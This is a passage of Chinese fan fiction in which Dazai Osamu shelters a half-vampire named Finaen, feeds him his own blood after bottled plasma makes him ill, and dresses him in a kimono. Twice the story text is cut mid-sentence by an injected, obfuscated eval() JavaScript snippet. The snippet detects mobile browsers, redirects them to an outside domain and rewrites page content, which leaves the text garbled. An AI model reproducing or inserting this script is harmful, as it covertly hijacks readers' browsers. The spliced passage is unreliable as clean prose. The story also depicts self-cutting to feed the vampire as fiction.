他脸上带着被打扰打游戏的茫然,暗红的眼眸在昏暗光线变幻中显得格外妖异。 “……” 下属的目光在看清菲那恩身影的瞬间,瞳孔猛地收缩,大脑瞬间宕机。 粉色的长发……穿着居家服……深夜出现在太宰大人的公寓里……还和太宰大人一起打游戏?! 所有信息碎片瞬间拼凑出一个石破天惊的结论! ——太宰大人金屋藏娇?!而且……还是位有着罕见粉色长发、深夜陪打游戏的亲密情人?!甚至和服都要穿跟对方同色系的?! 下属的脸瞬间变得煞白,随即又涨得通红,眼神里充满了极度的震惊、惶恐、以及一种“撞破了惊天秘密我是不是要完蛋了”的绝望。 他抱着盒子的手抖得厉害,嘴巴张了张,却发不出任何声音,只觉得眼前发黑。 太宰治将属下的反应尽收眼底,瞬间就明白对方那贫瘠的想象力又脑补了什么离谱剧情。 他嘴角狠狠抽了抽,一股无名火夹杂着荒谬感涌上心头。 他冷冷地“啧”了一声,劈手夺过下属手中沉甸甸的礼盒,语气冰寒刺骨,带着不容置疑的威压:“东西送到,滚,今晚你什么也没看到,管好你的嘴,明白吗?” “是、是!属下明白!属下什么也没看到!什么都没看到!!”下属如蒙大赦,几乎是连滚爬地逃离了现场,速度快得像背后有恶鬼在追,连电梯都忘了按,跌跌撞撞跑向楼梯间。 太宰治“砰”地一声甩上门,巨大的声响在公寓里回荡。 他把沉重的礼盒随手扔在玄关上,发出沉闷的撞击声。 他转过身,看着依旧一脸懵懂、完全不知道自己引发了什么误会的菲那恩,只觉得太阳穴突突直跳,烦躁到了极点。 “……继续?”菲那恩指了指暂停的游戏屏幕,显然还没搞清状况。 鲜少有人能够在一天之内引起太宰治这么多次的情绪波动,菲那恩在某种意义上也很厉害了。 “继续个鬼,睡觉!”太宰治走过去粗暴地关掉了游戏机和灯,客厅瞬间陷入一片黑暗,只剩下窗外冰冷的都市光芒。 菲那恩虽然不明所以,但还是乖乖放下手柄,赤着脚,带着一丝被打断游戏的遗憾,默默走回了自己的房间。 公寓楼下,逃离的下属靠在冰冷的墙壁上大口喘气,心脏还在狂跳,几乎要跳出胸腔。 他抹了把冷汗,回想起刚才瞥到的画面: 没缠绷带的、穿着居家服的太宰大人,那位有着梦幻般粉发的“情人小姐”穿着同款家居服,两人一起坐在软垫上打游戏……那画面冲击力太强了! 他心中为那位“神秘的情人小姐”默默点了一根蜡——敢和那位阴晴不定、手段莫测、传闻中极度危险的太宰大人搅和在一起,还深夜同处一室……这位小姐,您真是勇气可嘉!自求多福吧! 他摇摇头,带着满心的震撼、同情以及对未来的深深忧虑,快步消失在浓重的夜色中。 10. 血液反应 黑暗的房间里,菲那恩躺在柔软的床上,睁着那双在暗夜中微微发光的红宝石眼眸,望着陌生的天花板。 ——失眠了。 横滨的夜,对菲那恩而言,是清醒的煎熬。 没有那具冰冷、熟悉的水晶棺椁,人类柔软的床榻如同滚烫的烙铁,让他辗转难安。 这具身体数百年养成的习性在此刻发生激烈冲突,他像一只被强行塞进鸟笼的夜枭,焦躁而痛苦。 棺材……想要棺材…… 这个念头如同魔咒般在他脑海中疯狂盘旋、撞击。 他需要那狭小、黑暗、隔绝一切的冰冷空间。 菲那恩的听觉在寂静中被无限放大。 窗外一片落叶打着旋儿亲吻地面的轻响,厨房水龙头一滴水珠坠落水槽的“嘀嗒”,甚至……隔着一堵墙,隔壁房间那个恶劣人类——太宰治,的平稳悠长的呼吸声,都清晰得如同在耳畔。 突然,“嗡——” 冰箱压缩机的启动声像一道惊雷,在菲那恩高度敏感的听觉神经上炸开。 黑暗中,吸血鬼的瞳孔瞬间收缩成两道猩红的竖线。 他无声地滑下床,赤足踩在冰冷的大理石地面上,发出沉闷的微响,如同猫科动物潜行。 循着那微弱却扰人的噪音源头,他很快便站在了巨大的双开门冰箱前,冰冷的金属触感透过指尖传来。 他屈起苍白的手指,轻轻敲了敲冷藏室的门板,“叩、叩”。 菲那恩歪着头,血红的眼眸里充满了困惑。 人类的“棺材”……是这个样子的吗? 午夜十二点的钟声仿佛在他心底敲响,行动派决定亲自验证。 他拉开沉重的冰箱门,一股混合着蔬果和冷气的寒流扑面而来,菲那恩毫不犹豫地开始尝试把自己“塞”进去。 长腿蜷缩着卡在保鲜层的隔板间,银白色的睫毛似乎凝结了一层细碎的霜花,柔顺的粉色长发铺散在鲜红的小番茄和蟹肉罐头之上,宛如一匹价值连城的绸缎被随意丢弃在杂货堆里。 他调整了一下姿势,发出一声满足的叹息:“唔…温度…似乎…刚刚好…” 太宰治不知何时已斜倚在厨房门框边,灰色的家居服衬得他身形修长,但那露出的鸢色眼眸在黑暗中看不出什么情绪,紧紧锁在冰箱里那团“人形货物”上。 就在这时,一个带着浓浓倦意的声音,懒洋洋地在厨房门口响起: “喂喂喂……菲那恩君,大半夜的,你是打算把自己当成人形冰棍储存起来,还是准备把我的储备粮都腌入味?” 菲那恩闻声,艰难地从一堆番茄和罐头中转过脖子。 太宰治不知何时已斜倚在厨房门框边,灰色的家居服衬得他身形修长,在厨房昏暗的光线下显得有些模糊。 他一只手随意地插在口袋里,另一只手揉着惺忪的睡眼,显然是被噪音或者某种诡异的直觉吵醒。 但那露出的鸢色眼眸,在冰箱门内倾泻出的明亮光线映照下,却异常清醒,锐利得像探照灯,紧紧锁在冰箱里那团“人形货物”上。 这又是什么新的行为艺术?果然不能对吸血鬼的脑回路抱有任何期待啊…… 那只缠着绷带的手精准地揪住了菲那恩的后衣领,像拎一只不听话的猫咪,毫不留情地将他从寒气的包裹中拖拽出来。 “啊呀!”菲那恩猝不及防,慌乱中只来得及咬住一颗番茄。 鲜红的汁液顺着他精致的下巴滴落,在米色的地毯上洇开一小朵刺目的。 他舔了舔沾着汁液的唇角,竟还带着点满足感:“……味道好像还不错。” 太宰治彻底失去了所有的力气。 菲那恩就这么被一路“屈辱”地拖回了房间,像个被收缴的违禁品被扔在床脚。 他艰难地抬起头,那双红宝石般的眼睛里此刻盈满了货真价实的委屈,控诉地看着太宰治,“……没有棺材,不舒服。” 太宰治表情冷硬如铁,不为所动:“可冰箱不是棺材哦,菲那恩。” 菲那恩的脸皱成一团,像个得不到心爱玩具的孩子,固执地重申:“我想要棺材!我的水晶棺!” “没有棺材,”太宰治故意拖长了调子,语气带着点幸灾乐祸的夸张,“你的水晶棺啊,被中也那暴力狂一拳打碎啦——碎成——粉末了哦!风一吹,呼~就没了。” 菲那恩根本听不进去,血族的固执在此刻体现得淋漓尽致:“没有棺材我会睡不着的!会枯萎的!” “诶——”太宰治像是突然被点醒,鸢色的眼眸亮起一丝恶劣的光芒,仿佛想到了绝妙的主意,“话说回来,你们血族能不能变成蝙蝠?或许你可以像蝙蝠一样倒挂在天花板的吊灯上睡觉?省地方还通风……” “不行啊——!”菲那恩差点跳起来,“谁跟你说血族能变成蝙蝠了?” 最终,为了图个暂时的清净,太宰治将这只闹腾的吸血鬼塞进了房间里空置的衣柜。 他甚至“体贴”地回自己房间抱来好几个蓬松的枕头,一股脑儿地砸进去,精准地覆盖在菲那恩身上,把他埋了起来。 菲那恩:“……” 被枕头掩埋的菲那恩终于暂时消停了,连番折腾下来,连太宰治也感到了一丝倦意。 然而,菲那恩会就此乖乖安眠吗?答案显然是否定的。 凌晨三点。 “咚…沙沙…咚…咚!” 衣柜里持续传来沉闷的撞击和布料摩擦声,像有只不安分的小动物在里面刨窝,这声音精准地刺破了太宰治本就浅薄的睡眠。 他带着一身低气压,满脸不悦地再次踏入菲那恩的房间,猛地拉开了衣柜门。 月光透过窗户,恰好洒落在柜内。 菲那恩蜷缩在衣柜深处,怀里紧紧抱着一个天鹅绒枕头,将自己缩成小小的一团。 破碎的月光揉碎在他低垂的、凝结着细小水珠的银白眼睫间,或许是泪,或许是之前冰箱的霜气,使得单薄的身影在黑暗中显得格外脆弱。 领口因挣扎而松散开,露出一段精致的锁骨。 而那自锁骨下方一个精巧的蔷薇刻印处,蔓延出数道暗红色的、如同活物般的蔷薇纹路,一路攀爬至他的眼尾,在苍白得近乎透明的肌肤上勾勒出神秘而危险的图案。 太宰治一时被这幅诡丽画面震撼到愣在原地。 菲那恩的尖牙无意识地抵着下唇,轻轻颤抖着,那双红宝石般的眼睛在黑暗中异常明亮,湿漉漉地望向门口的不速之客,里面盛满了困惑和……一丝不易察觉的茫然? 太宰治看着菲那恩,他轻叹一声,声音难得地带上了一丝温度:“真漂亮的眼睛啊……像最顶级的红宝石,璀璨又危险。” 菲那恩喃喃道,“……饿了。” 太宰治挑了挑眉,似乎早有预料。 他没有说话,转身走出了房间。 菲那恩蜷缩在衣柜里,不安地等待着。过了片刻,太宰治回来了,手里拿着一个印有港口黑手党医疗部标志的、冰冷的金属冷藏箱。 他当着菲那恩的面打开箱子,里面整齐排列着几袋不同血型的、深红色的医用血浆。 “喏,”太宰治的语气恢复了惯常的轻佻,将一袋血浆抛给菲那恩,眼中闪过一丝异样的光,“港口mafia特供,品质保证,试试看?” 菲那恩接过那袋冰冷的血浆,眼中闪过一丝犹豫,但随后他便撕开封口,仰头便将那粘稠的液体灌入口中。 “唔——!” 几乎是瞬间,菲那恩的身体剧烈地痉挛了一下!他猛地将口中的血浆吐了出来,双手死死捂住腹部,整个人痛苦地蜷缩起来,从衣柜中跌落到冰冷的地板上,银环撞击地板发出一声清脆的响声。 “呃啊……”痛苦的呻吟从他紧咬的牙关中溢出。 他感觉自己的胃里仿佛被灌进了滚烫的岩浆,剧烈的灼烧感伴随着强烈的恶心感翻江倒海。 那不是单纯的难喝,而是一种来自身体深处的、强烈的排斥。 “不……不可能……”菲那恩喘息着,眼中充满了难以置信的恐慌。 他不顾那翻涌的恶心,挣扎着爬向冷藏箱,像抓住最后的救命稻草,又拿起另一袋不同血型的血浆,颤抖着撕开,再次灌下。 “呕——!” 结果更加惨烈,他剧烈地干呕起来,胃液混合着腥甜的血浆从他嘴角溢出,狼狈地滴落在昂贵的地毯上。 他痛苦地蜷缩在地板上,身体因剧烈的生理反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337547|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而颤抖,粉色长发凌乱地粘在汗湿的额头和脸颊上。 绝望如同冰冷的潮水将他淹没——作为血族,他无法进食了?这个认知带来的恐慌,比身体的痛苦更甚百倍。 无法进食带来的是身体与精神的双重折磨,这种折磨在菲那恩的幼年时期就留下了不可磨灭的阴影。 虽然具体原因他已经不记得了,但是那种如蚂蚁啃食骸骨的痛苦,已经让他光是想到那种可能,就足够起剧烈的应激反应了。 “不要……”他声音嘶哑,赤红的眼眸里清晰地浮现出巨大的恐惧。 他无助地望向站在阴影里的太宰治。 太宰治静静地看着地上狼狈不堪、痛苦挣扎的菲那恩,看着他因绝望而颤抖的身体和惊惶无助的红眸。 他脸上的轻佻早已消失,只剩下一种近乎冷酷的平静。 他当然知道为什么——那个银环。 菲那恩的反应实在有点过大了,但一切都在他的计划之中。 “我的血,要试试吗?” 菲那恩猛地抬起头,看到太宰治不知何时已蹲在了他面前。 那双鸢色的眼眸在黑暗中看不清情绪,但声音却带着一种奇异的平静。 菲那恩像抓住了最后一根浮木,几乎是本能地喊道:“要!我要……” 一个模糊的念头在他混乱的脑海中闪过——只要这个人的血可以,那就…… 太宰治没有回答,只是平静地从家居服口袋里摸出一把折叠小刀——那刀锋在月光下闪过一道冷冽的寒光。 他毫不犹豫地在自己的左臂内侧,划开了一道细长而精准的口子。 鲜血,带着鲜活生命力的、温热的鲜血,瞬间涌了出来,一股极其诱人、仿佛能抚平灵魂焦渴的独特气息瞬间在空气中弥漫开来,盖过了血浆的腥甜和菲那恩呕吐物的酸腐。 菲那恩的瞳孔瞬间放大,所有的痛苦和绝望都被这近在咫尺的甘美气息驱散。 他几乎是扑了过去,双手颤抖着捧住太宰治的手臂,像虔诚的信徒捧住圣杯。 他没有撕咬,只是伸出柔软的舌尖,带着一种近乎膜拜的急切和小心翼翼,一下又一下地吮吸、舔舐着那道伤口。 太宰治呼吸一滞。 那温热的血液流入菲那恩的喉咙,只有一种难以言喻的、深入骨髓的甘甜和满足感,如同久旱逢甘霖,瞬间滋润了他干涸的血管和濒临崩溃的灵魂。 他体内翻腾的痛苦和焦躁如同被一只无形的手抚平,蔷薇纹路也在一瞬间暗淡消失。 同时,在他舔舐之下,太宰治手臂上那道细长的伤口,正以肉眼可见的速度迅速愈合、消失,只留下一道浅浅的红痕。 他贪婪地吮吸着最后一丝血腥气,然后身体彻底软了下来。 他像只终于找到归宿的幼兽,亲昵又依恋地将太宰治那条刚刚被“使用”过的手臂紧紧抱在怀里,脸颊无意识地蹭着对方微凉的皮肤,发出满足的、细微的喟叹。 沉重的眼皮再也支撑不住,几乎是瞬间,他就陷入了深度而安稳的沉眠。 房间里只剩下他均匀而绵长的呼吸声,以及月光下他抱着太宰治手臂的、毫无防备的睡颜。 太宰治保持着单膝跪地的姿势,低头看着臂弯里沉沉睡去的菲那恩。 月光勾勒出对方精致的轮廓,粉色的长发散乱地铺在他的腿上和地板上,尖耳朵耷拉着,那双总是充满警惕或固执的红眸紧闭着,长睫安静地垂下,此刻显得无比脆弱。 太宰治伸出手指,极其轻缓地拂过菲那恩泛红的眼角,指尖传来微凉的湿意。 他鸢色的眼眸深处,只剩下一种深沉的、难以解读的复杂。 他轻轻抱起菲那恩——那身体轻得不可思议——将他小心地放回床上,盖好被子。 他站在床边,看着菲那恩在睡梦中无意识地将脸埋进枕头,仿佛在寻求最后一点安全感。 太宰治的目光落在对方锁骨下方心脏处,那若隐若现的蔷薇刻印和暗红纹路上,又移回到那张毫无防备的睡颜。 ……啧。 他无声地咂了下嘴,转身悄无声息地离开了房间,轻轻带上了门。 那背影在月光下,似乎也带上了一丝不易察觉的愧疚感? 11. 新生 清晨熹微的光线透过厚重的窗帘缝隙,吝啬地洒在菲那恩的眼睑上。 他纤长的银白色睫毛颤动了几下,才费力地睁开沉重的眼帘。 他发现自己躺在柔软的床上,身上盖着轻暖的被子,动了动,脚踝上的银环发出细微的轻响。 昨夜混乱的记忆碎片瞬间涌入脑海—— 他的手指逐渐收紧,为什么那些血浆会让他这么难受……? 到底怎么回事,是身体错觉……还是真的? 这对于一个血族来说可不是好事情,人类可是会死的。 然而他是半血族,并没有将人类初拥为血族的能力,一旦太宰治死去…… 不过他可是菲那恩·德·图拉尔,改变人类细胞活性的秘术,稍微用点时间研究,大概就能研究出来。 不受待见的混血,天赋却出奇地高,可真讽刺啊。 菲那恩深呼吸一口气,喃喃自语道:“算了,先不想了,先去看看太宰在干嘛。” 他轻巧地滑下床,赤足踩在冰凉的地板上,几乎没有发出声音。 他身上还穿着昨夜那套深灰色的居家服,柔软的布料贴着皮肤,但此刻他全部的注意力都被那股刻骨铭心的气息源头吸引——那股清冽中带着一丝独特甘甜的血气,从隔壁房间传来。 门没有锁。 菲那恩推开一条缝隙,溜了进去。 房间里拉着厚重的遮光窗帘,光线昏暗。太宰治深陷在宽大的床铺中,被子蒙过头顶,只露出一绺凌乱的黑发。 他整个人蜷缩着,像一个用被子筑起的堡垒,散发着浓重的“生人勿近”和“极度疲惫”的气息。 感觉太宰有点可爱…… 菲那恩在床边跪坐下来,双臂交叠搁在床沿,下巴轻轻枕在手背上。 他就这样安静地、一动不动地凝视着床上那个鼓起的被团,粉色长发柔顺地垂落在身侧和床单上,在昏暗中泛着微光。 他屏住呼吸,睁大了那双红宝石般的眼睛,一眨不眨地、极其专注地凝视着床上熟睡的人。 从太宰治微蹙的眉头,到覆盖着绷带的半张脸,再到随着呼吸微微起伏的肩线……每一个细节都落在他专注的目光里。 时间在寂静中流淌,阳光似乎努力想穿透厚重的窗帘,房间里比刚才亮了一些。 太宰治的睡眠非常浅,对视线更是有着近乎本能的警觉。 被团里传来一声模糊的、仿佛濒死般的呻吟。 紧接着,被子被粗暴地掀开一角,露出太宰治那张写满“生无可恋”的脸。 他眼下是浓重得化不开的、如同晕染开的墨色般的黑眼圈。 太宰治极其不情愿地、像被粘稠黑暗拖拽着般,缓慢地掀开了沉重的眼皮。 视线还有些模糊,但对焦的瞬间,就精准地捕捉到了床边那个几乎要贴上来的粉色脑袋,以及那双在昏暗中亮得惊人的、直勾勾盯着他的赤红眼眸。 “…………” 太宰治的大脑空白了一瞬,随即被一股混合着“果然如此”的荒谬感和“大清早被吸血鬼当珍稀动物观赏”的极度烦躁填满。 他猛地拉高被子,把自己连头带脸蒙了个严严实实,声音隔着被子闷闷地传出来,带着浓重的睡意和毫不掩饰的起床气:“菲那恩……你是打算用你的眼神在我脸上烧出两个洞吗?!” 菲那恩完全没有被他的低气压吓退,反而因为他的醒来,眼中亮光更盛。 他又往前凑了凑,“太宰,你醒了!” 那语气,活像是发现了什么了不起的奇迹。 太宰治猛地掀开被子坐起身,头发乱得像鸡窝,鸢色的眼睛里充满了睡眠不足的血丝和“我现在很想把某个麻烦精扔出窗外”的暴躁。 “托你的福。”他没好气地回道,揉了揉突突直跳的太阳穴,“大清早不睡觉,趴在我床边当石像鬼?” “我睡醒了。”菲那恩回答得理所当然,甚至带着点小骄傲,“而且,睡得很舒服。” 太宰治瞥了他一眼,烦躁地抓了抓头发,决定暂时忽略这个话题:“所以,你把我盯醒,就是为了告诉我你睡得很好?” “不是。”菲那恩立刻摇头,粉色的长发跟着晃动。他赤红的眼眸里闪过一丝迷茫,然后被一种更原始的感觉取代——一种空落落的、来自胃部的感觉。 “……我饿了。”他小声补充道,声音带着点委屈。 太宰治的眉头皱得更紧了,几乎能夹死苍蝇:“……哈?饿了?” 他简直要被气笑了,“菲那恩,容我提醒你一下,就在不到五个小时前,我才‘慷慨地’贡献了自己宝贵的血液给你当宵夜。” 菲那恩被他的质问弄得有点懵,他歪了歪头,粉色长发滑落肩头,认真地解释:“不是血……是那种饿。” 他指了指自己的腹部,“这里,空空的,感觉很奇怪,想要……被填满。” 他努力寻找着人类形容饥饿的词汇,“就是……想吃东西,像人类那样。” 其实纯血族是无法食用人类食物的,而菲那恩这只半血族,属于是血液喝不饱,那就吃人类食物填肚子,只是会没有营养罢了。 太宰治盯着他那张写满无辜和生理需求的脸,鸢色的眼眸里充满了绝望。 他重重地叹了口气,像被抽走了所有力气,重新倒回枕头上,用被子蒙住头,声音闷闷地传来,带着最后的挣扎:“厨房在那边……冰箱里有食材……自己看着弄点吃的,别指望我,我做的东西都不是人能吃的……” 说完,被团里彻底没了声息,仿佛已经当场去世。 菲那恩看着那个重新裹紧的“堡垒”,眨了眨赤红的眼睛。 自己……弄吃的? 他带着一丝新奇和“这应该不难”的莫名自信,赤着脚,悄无声息地溜出了太宰治的房间,直奔厨房。 厨房很宽敞,设备齐全。 菲那恩站在巨大的双开门冰箱前,拉开了门,里面有不少食材,花花绿绿,看得他眼花缭乱。 他拿出几个鸡蛋,一盒牛奶,又看到一块包装好的火腿。 嗯,看起来都像是能吃的。 他学着记忆中模糊的人类动作,把平底锅放在一个发着蓝光的圆盘上(电磁炉),然后倒进去……一整盒牛奶? 接着,他笨拙地试图单手打鸡蛋,蛋壳碎了一手,蛋液有一半流到了灶台上。剩下的几个鸡蛋也遭遇了同样的命运,狼狈地混在牛奶里。 最后,他把整块火腿直接扔进了这锅黏糊糊的混合物里。 菲那恩满意地看着自己的“杰作”,找到了一个旋钮,凭感觉拧到了最大——那蓝光瞬间变得刺眼而炽热。 他抱着手臂,期待地看着锅里。 几秒钟后,刺鼻的焦糊味开始弥漫。 锅里的牛奶鸡蛋混合物迅速沸腾、冒泡,然后边缘开始发黑、碳化,滋滋作响的声音越来越大,浓烟滚滚升起,火腿片在沸腾的焦糊泥浆里沉浮…… “嗯?”菲那恩困惑地凑近,被浓烟呛得咳嗽起来,“怎么……好像不对……” 就在这时—— “砰!” 一声不算剧烈但足够惊悚的闷响,锅里的混合物因为过热和水分急剧蒸发,发生了小规模的喷溅,焦黑的蛋液和牛奶混合物如同微型火山爆发般溅射出来,糊满了灶台和菲那恩身前的深灰色居家服,浓烟警报器尖锐地嘶鸣起来。 “啊啊!”菲那恩被烫得轻叫一声,手忙脚乱地想关掉那个发蓝光的圆盘,却找不到正确的旋钮,反而把旁边的水龙头打开了,水哗哗地流进旁边一个干烧的空锅里,发出更恐怖的滋滋声,蒸汽和焦烟混合在一起——厨房瞬间变成了灾难现场。 下一秒,太宰治的身影如同鬼魅般出现在厨房门口。 他头发凌乱,脸色铁青,眼下的黑眼圈在烟雾缭绕中显得更加恐怖,身上还穿着菲那恩同款居家服。 他看着眼前狼藉一片的厨房,以及那个站在灾难中心、一脸无辜和茫然的“罪魁祸首”,只觉得眼前一黑。 其实……倒也不是那么意外。 太宰治深深地叹了口气,“去客厅待着,在我收拾完这个‘战场’之前,不准靠近厨房半步。” 菲那恩突然莫名其妙地起了反骨,蹙眉,“为什么?” “……”太宰治无语了,非但不怕,反而幽幽地盯着菲那恩,“好啊,我尊贵的吸血鬼大人,那你来收拾?” 菲那恩一想到刚刚厨房恐怖的模样,头摇得跟拨浪鼓一样,“不不不,我觉得我还是去客厅待着比较好……” 随后他立刻像受惊的兔子一样,飞快地溜出了厨房,乖乖坐到客厅的沙发上,还偷偷用眼角余光瞟着厨房门口。 他抱着膝盖,听着厨房里传来的擦洗声,莫名地感到一阵心虚,脚踝上的银环随着他不安的晃动,发出细微的轻响。 太宰治把厨房大致收拾完毕,就开始做早餐。 众所周知,太宰治喜欢做黑暗料理,但是真要做正常饭也是会做的。 他今天没有打算做黑暗料理,或许是想起昨天晚上的事,对菲那恩的莫名的愧疚吧。 他的动作意外地异常利落精准,整个过程行云流水,没有一丝多余的动作,与刚才菲那恩制造的灾难现场形成了鲜明对比。 很快,两份色泽金黄、香气扑鼻的滑蛋,两片烤得恰到好处、边缘微焦的吐司,以及两杯温热的牛奶就被端到了客厅的小桌上。 食物的香气驱散了残留的焦糊味。 太宰治把一份推到菲那恩面前,自己拿起另一份,声音没什么精神,“你吃完把盘子洗了吧。” 他顿了顿,抬眼看向菲那恩,“你应该不会把盘子打碎吧,菲那恩君?” 菲那恩信誓旦旦地说道:“当然不会,这么简单的事情我还是能做好的。” 太宰治半信半疑地点了点头。 菲那恩看着眼前热气腾腾、散发着诱人香气的食物,又偷偷瞄了一眼太宰治。 他拿起叉子,小心翼翼地戳了一块滑蛋放进嘴里——温润、嫩滑、带着奶香和黄油香,瞬间抚慰了他空空如也的胃。 “好吃!”菲那恩的眼睛瞬间亮了,立刻埋头专注地吃了起来。 太宰治看着他狼吞虎咽的样子,面无表情地吃着自己那份,只是紧皱的眉头似乎稍微松动了那么一丝丝。 吃完早餐,菲那恩果然又被那巨大的樱粉色和服礼盒吸引了。 他放下空盘子,指着盒子:“那个粉色的衣服,我想穿那个!” 他的表情很认真,带着一丝显而易见的困惑和为难:“但我不会穿。”他顿了顿,补充道,“人类的衣服……太复杂了。” 太宰治放下牛奶杯,瞥了一眼角落那个巨大的礼盒,又看了看菲那恩身上那件沾着焦糊污渍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337548|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深灰色居家服,嘴角不受控制地抽搐了一下。 他重重地、长长地叹了口气,仿佛要把肺里的空气都叹光,最终还是认命了,“算了,我教你吧。” 太宰治走过去,扯开精致的包装丝带,打开盒子。 里面静静躺着一套简约低调的樱粉色男士和服,柔滑的丝绸面料上织着精美的暗纹,配着同色系的腰带和白色足袋。 “站好,别动。”太宰治的声音没什么起伏,动作却意外地熟练,手指灵巧地展开衣物,如同在精心装扮一个大型人偶。 菲那恩乖乖站着,感受着微凉的布料贴上皮肤,目光牢牢粘在太宰治那张介于少年和青年之间的脸蛋上。 如此近的距离,细细描摹着对方的轮廓。 那双总是盛满了令人捉摸不透情绪的鸢色眼眸此刻低垂着,专注地整理着和服的襟口,长而密的睫毛在眼下投下一小片扇形的阴影,随着他细微的动作轻轻颤动。 菲那恩的视线滑过对方挺直的鼻梁,落在那总是勾着似笑非笑弧度的唇上。 此刻那唇瓣微微抿起,显出一种难得的、近乎认真的神态。 几缕不听话的黑色卷发垂落额前,与他耳际的绷带边缘交织,竟有一种脆弱又奇异的美感。 他甚至无意识地放缓了呼吸,生怕惊扰了此刻的宁静。 原来人类真的可以长得这样……好看,比他记忆中任何一件冰冷的艺术品,任何一座孤寂的古堡雕像,都要生动得多。 他看得太过入神,以至于完全没注意到太宰治手上的动作何时停了下来。 腰间突然一紧。 “呜唔……!”菲那恩猝不及防地倒吸一口凉气,腰带被太宰治恶作剧般地收紧了一寸,勒得他差点岔气。 但他还是强忍着没动,只是用控诉又无辜的眼神看着始作俑者。 太宰治凑近了些,脸上挂着令人心底发毛的、过分灿烂的微笑,鸢色的眼眸却深不见底,紧盯着菲那恩那双因吃痛而更显水润的红眸:“菲那恩君刚才是不是在想什么很失礼的事情呢?” 菲那恩身体瞬间僵硬,面无表情地将头用力扭向一边,避开那仿佛能看透人心的视线:“没什么!我什么也没想!” 说着,他没忍住向后退了一步。 下一秒,腰带猛地被扯住,将他踉跄地拽回原地。 “说了,别动。”太宰治的声音带着不易察觉的掌控感。 “知道了。”菲那恩小声嘟囔,彻底老实了。 他知道刚刚是自己的目光太过无礼,因此也不敢再明目张胆地盯着对方的脸看。 接下来的穿衣过程,他变得异常乖巧,让抬手就抬手,让转身就转身,像个被设定好程序的精致玩偶。 不一会儿,樱粉色的和服便妥帖地穿在了他身上,尺寸竟意外地合身。 “嗯~”太宰治退后一步,上下打量着焕然一新的菲那恩,嘴角勾起一抹真心的、带着欣赏的弧度,“很适合你哦。” 菲那恩走到穿衣镜前,看着镜中的自己,微微有些出神。 镜子里的人影,熟悉又陌生。丝绸的触感柔滑微凉,带着一种他从未体验过的、属于此世此地的细腻。 简约的剪裁勾勒出他略显纤细的腰身宽大的袖口垂落,露出一截白皙的手腕,脚踝上的银环在衣摆下若隐若现。 一种极其微妙的感觉,如同投入湖心的石子,在他沉寂的心湖中漾开一圈圈涟漪。 而是一种更深沉的、近乎颠覆性的认知——这身衣服,与他过往世界里的一切都截然不同。 它不属于那个冰冷、肃杀、弥漫着腐朽气息和古老规则的旧世界。 它属于这里,属于横滨,属于这个充斥着喧嚣、混乱、却也带着奇异生机的钢铁丛林。 它柔软,带着温度,带着一种属于当下的、属于人类的烟火气。 ——他真的……不在原来的世界了。 那个他厌恶的、充满束缚与冰冷的旧世界,连同那具被打碎的水晶棺椁一起,被留在了时空的另一端,成为了模糊的背景。 这个认知并非此刻才出现,但在此刻,在穿上这身格格不入却又意外契合的樱色和服时,才变得如此清晰、如此深刻、如此……具象化。 或许,在这个全新的、混乱的世界里,一切真的都可以重新开始?以一个新的身份,穿着新的衣服,拥有……新的可能? “太宰……”菲那恩的声音很轻,带着一丝不易察觉的恍惚,他转过头,看向倚在门框边的太宰治,眼神里是纯粹的困惑与确认,“我穿这个……真的……很不一样。” 太宰治看着镜前怔忪的菲那恩,看着他眼中那抹因新世界实感而生的、近乎天真的迷茫,嘴角那抹欣赏的笑意加深了,带着一种掌控者目睹棋子踏入预设轨道的了然与玩味。 “当然,”他轻轻拍了拍手,掌声在寂静的房间里显得格外清晰,“——欢迎加入港口mafia,菲那恩君。” “这里的一切,都会很‘不一样’。”他的声音温和依旧,却在那“不一样”三个字上,落下了意味深长的重音。 菲那恩的目光重新落回镜中那个樱色的身影上。 他不再只是看着一件衣服,而是看着一个全新的、已然开启的篇章。 一个他厌恶的旧世界彻底远去,而前方,是属于横滨的、未知的、或许……也并非全然无望的新生。 12. 测试 菲那恩突然感觉自己可能进错了组织。 “B—7废弃仓库,确认有敌对组织‘毒蝎’残党,七人。菲那恩君,请你独自处理干净,太宰君负责接送——” 太宰治看着手机短信学着森鸥外的语气绘声绘色地念道。 这是森鸥外的命令,简洁而冷酷得像手术刀划过皮肤。 闻言,正准备再与游戏机一战的的菲那恩神色一滞,血红的眸子中露出一丝困惑。 他满含哀怨地冒了一句:“你们的首领一定经常压榨员工吧。” 还没正式上岗就叫干活了。 “不是你们的,是我们的哦,”太宰治兀地笑出声,随即又摆了摆手,一言难尽道:“森先生确实是个经常压榨员工的无良老板。” 黑色的轿车在夜色中逐渐驶向港口区边缘。 菲那恩用混淆认知的秘术,让他的尖耳看起来就像普通的耳廓,唇间若隐若现的獠牙也收起来,伪装成了虎牙——除了拥有“人间失格”的太宰治,无人能看穿这层幻象。 菲那恩乖巧地坐在后座,车窗是完全打开的,空气里弥漫着海水的咸腥和铁锈的陈旧气味。 他望着窗外的飞速倒退的、如同巨大怪兽骨架般的废弃厂房轮廓。 柔和的樱粉色衬得他肌肤愈发苍白透明,宽大的袖口和飘逸的衣袂在风中轻扬,像一朵误落钢铁丛林的早樱。 随着逐渐深入港口废弃仓库区,车窗被太宰治关上了。 菲那恩的尖耳朵微微动了动。 